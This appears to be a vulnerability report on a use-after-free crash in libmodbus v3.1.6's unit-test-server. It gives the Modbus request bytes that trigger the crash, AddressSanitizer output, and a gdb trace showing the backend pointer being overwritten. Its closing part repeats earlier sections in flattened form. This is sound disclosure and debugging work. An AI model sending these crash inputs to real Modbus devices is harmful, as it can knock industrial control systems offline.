A UAF vulnerability exists in unit-test-server that is triggered when a specific message is sent to unit-test-server. The vulnerability appears to be caused by the ctx->backend pointer at line 171 in modbus.c being incorrectly modified after multiple calls or used after free.
Actual behavior if applicable
==7657==ERROR: AddressSanitizer: SEGV on unknown address 0x605ffffffe90 (pc 0x56a769c5088e bp 0x7ffdc458eb90 sp 0x7ffdc458e900 T0)
Expected behavior or suggestion
no crash
Steps to reproduce the behavior (commands or source code)
./unit-test-server
The client connection from 127.0.0.1 is accepted
Waiting for an indication...
<00><00><00><00><00><0D><FF><03><01><62><00><01>
[00][00][00][00][00][05][FF][03][02][00][00]
Waiting for an indication...
<00><00><00><00><00><0D><FF><17><01><62><00><01><00><68><00><01><02><AA><BD>
AddressSanitizer:DEADLYSIGNAL
=================================================================
==17777==ERROR: AddressSanitizer: SEGV on unknown address 0x605ffffffe90 (pc 0x5cb30486d88e bp 0x7ffcb0ba2480 sp 0x7ffcb0ba21e0 T0)
==17777==The signal is caused by a WRITE memory access.
#0 0x5cb30486d88e (/home/XXX/libmodbuspoc/tests/unit-test-server+0xb88e)
#1 0x5cb304869630 (/home/XXX/libmodbuspoc/tests/unit-test-server+0x7630)
#2 0x7be8b1629d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
#3 0x7be8b1629e3f (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
#4 0x5cb3048684c4 (/home/XXX/libmodbuspoc/tests/unit-test-server+0x64c4)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/home/XXX/libmodbuspoc/tests/unit-test-server+0xb88e)
==17777==ABORTING
Aborted
## libmodbus output with debug mode enabled
The location of the vulnerability can be further determined through gdb debugging:
Breakpoint at line 171 of modbus.c and run:
(gdb) run < /POC
Starting program: /unit-test-server < /POC
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff7bff640 (LWP 17164)]
[New Thread 0x7ffff73fe640 (LWP 17165)]
[Thread 0x7ffff7bff640 (LWP 17164) exited]
The client connection from 0.0.0.0 is accepted
Waiting for an indication...
<00><00><00><00><00><0D><03><01><62><00><01>
Thread 1 "unit-test-serve" hit Breakpoint 1, send_msg (ctx=ctx@entry=0x5555555612a0, msg=msg@entry=0x7fffffffd8c0 "", msg_length=msg_length@entry=11) at modbus.c:171
171 msg_length = ctx->backend->send_msg_pre(msg, msg_length);
```
The first time a breakpoint is hit, check the variable information:
```
(gdb) print ctx->backend
$7 = (const modbus_backend_t *) 0x55555555fce0 <_modbus_tcp_backend>
```
next
```
(gdb) next
173 if (ctx->debug) {
(gdb) next
174 for (i = 0; i < msg_length; i++)
(gdb) next
175 printf("[%.2X]", msg[i]);
(gdb) next
174 for (i = 0; i < msg_length; i++)
(gdb) next
175 printf("[%.2X]", msg[i]);
(gdb) next
174 for (i = 0; i < msg_length; i++)
(gdb) next
175 printf("[%.2X]", msg[i]);
(gdb) next
174 for (i = 0; i < msg_length; i++)
(gdb) next
175 printf("[%.2X]", msg[i]);
(gdb) next
174 for (i = 0; i < msg_length; i++)
(gdb) next
175 printf("[%.2X]", msg[i]);
(gdb) next
174 for (i = 0; i < msg_length; i++)
(gdb) next
175 printf("[%.2X]", msg[i]);
(gdb) next
174 for (i = 0; i < msg_length; i++)
(gdb) next
175 printf("[%.2X]", msg[i]);
(gdb) next
174 for (i = 0; i < msg_length; i++)
(gdb) next
175 printf("[%.2X]", msg[i]);
(gdb) next
174 for (i = 0; i < msg_length; i++)
(gdb) next
175 printf("[%.2X]", msg[i]);
(gdb) next
174 for (i = 0; i < msg_length; i++)
(gdb) next
175 printf("[%.2X]", msg[i]);
(gdb) next
174 for (i = 0; i < msg_length; i++)
(gdb) next
175 printf("[%.2X]", msg[i]);
(gdb) next
174 for (i = 0; i < msg_length; i++)
(gdb) next
176 printf("\n");
(gdb) next
[00][00][00][00][00][05][FF][03][02][00][00]
182 rc = ctx->backend->send(ctx, msg, msg_length);
(gdb) next
�183 if (rc == -1) {
(gdb) next
202 if (rc > 0 && rc != msg_length) {
(gdb) next
208 }
(gdb) next
modbus_reply (ctx=, req=, req_length=, mb_mapping=) at modbus.c:1003
1003 }
(gdb) print ctx->backend
value has been optimized out
(gdb) info args
ctx =
req =
req_length =
mb_mapping =
(gdb) next
main (argc=1, argv=0x7fffffffdba8) at unit-test-server.c:184
184 if (rc == -1) {
(gdb) next
113 for (;;) {
(gdb) next
114 do {
(gdb) next
115 rc = modbus_receive(ctx, query);
(gdb) next
Waiting for an indication...
<00><00><00><00><00><0D><17><01><62><00><01><00><68><00><01><02>
117 } while (rc == 0);
(gdb) print ctx
$8 = (modbus_t *) 0x5555555612a0
(gdb) print ctx->backend
$9 = (const modbus_backend_t *) 0x55555555fce0 <_modbus_tcp_backend>
(gdb) next
121 if (rc == -1 && errno != EMBBADCRC) {
(gdb) print ctx
$10 = (modbus_t *) 0x5555555612a0
(gdb) print ctx->backend
$11 = (const modbus_backend_t *) 0x55555555fce0 <_modbus_tcp_backend>
(gdb) next
127 if (query[header_length] == 0x03) {
(gdb) next
183 rc = modbus_reply(ctx, query, rc, mb_mapping);
(gdb) print ctx
$12 = (modbus_t *) 0x5555555612a0
(gdb) print ctx->backend
$13 = (const modbus_backend_t *) 0x55555555fce0 <_modbus_tcp_backend>
```
On the second hit, the pointer is modified and the program crashes:
```
(gdb) next
Thread 1 "unit-test-serve" hit Breakpoint 1, send_msg (ctx=ctx@entry=0x5555555612a0, msg=msg@entry=0x7fffffffd8c0 "", msg_length=msg_length@entry=11) at modbus.c:171
171 msg_length = ctx->backend->send_msg_pre(msg, msg_length);
(gdb) print ctx
$14 = (modbus_t *) 0x5555555612a0
(gdb) print ctx->backend
$15 = (const modbus_backend_t *) 0x55555555aabd
(gdb) next
Thread 1 "unit-test-serve" received signal SIGSEGV, Segmentation fault.
0x0000555555556cfd in send_msg (ctx=ctx@entry=0x5555555612a0, msg=msg@entry=0x7fffffffd8c0 "", msg_length=msg_length@entry=11) at modbus.c:171
171 msg_length = ctx->backend->send_msg_pre(msg, msg_length);
(gdb) next
Couldn't get registers: No such process.
```
libmodbus version
libmodbus v3.1.6
OS and/or distribution
Ubuntu 18
Environment
...
Description
A UAF vulnerability exists in unit-test-server that is triggered when a specific message is sent to unit-test-server. The vulnerability appears to be caused by the ctx->backend pointer at line 171 in modbus.c being incorrectly modified after multiple calls or used after free.
Actual behavior if applicable
==7657==ERROR: AddressSanitizer: SEGV on unknown address 0x605ffffffe90 (pc 0x56a769c5088e bp 0x7ffdc458eb90 sp 0x7ffdc458e900 T0)
Expected behavior or suggestion
no crash
Steps to reproduce the behavior (commands or source code)
AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/XXX/libmodbuspoc/tests/unit-test-server+0xb88e) ==17777==ABORTING Aborted
(gdb) run < /POC Starting program: /unit-test-server < /POC [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New Thread 0x7ffff7bff640 (LWP 17164)] [New Thread 0x7ffff73fe640 (LWP 17165)] [Thread 0x7ffff7bff640 (LWP 17164) exited] The client connection from 0.0.0.0 is accepted Waiting for an indication...
<00><00><00><00><00><0D>